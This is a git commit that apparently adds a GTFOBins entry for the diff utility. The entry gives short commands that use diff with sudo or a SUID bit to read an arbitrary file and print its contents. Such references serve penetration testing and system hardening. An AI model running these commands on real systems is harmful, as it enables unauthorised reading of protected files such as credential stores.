This commit is contained in:
Emilio Pinna 2018-06-02 16:02:38 +01:00
parent 234cfc0ebb
commit b6dfe3e083

15
_gtfobins/diff.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo diff --line-format=%L /dev/null $LFILE
suid-enabled:
- code: |
LFILE=file_to_read
./diff --line-format=%L /dev/null $LFILE
file-read:
- code: |
LFILE=file_to_read
diff --line-format=%L /dev/null $LFILE
---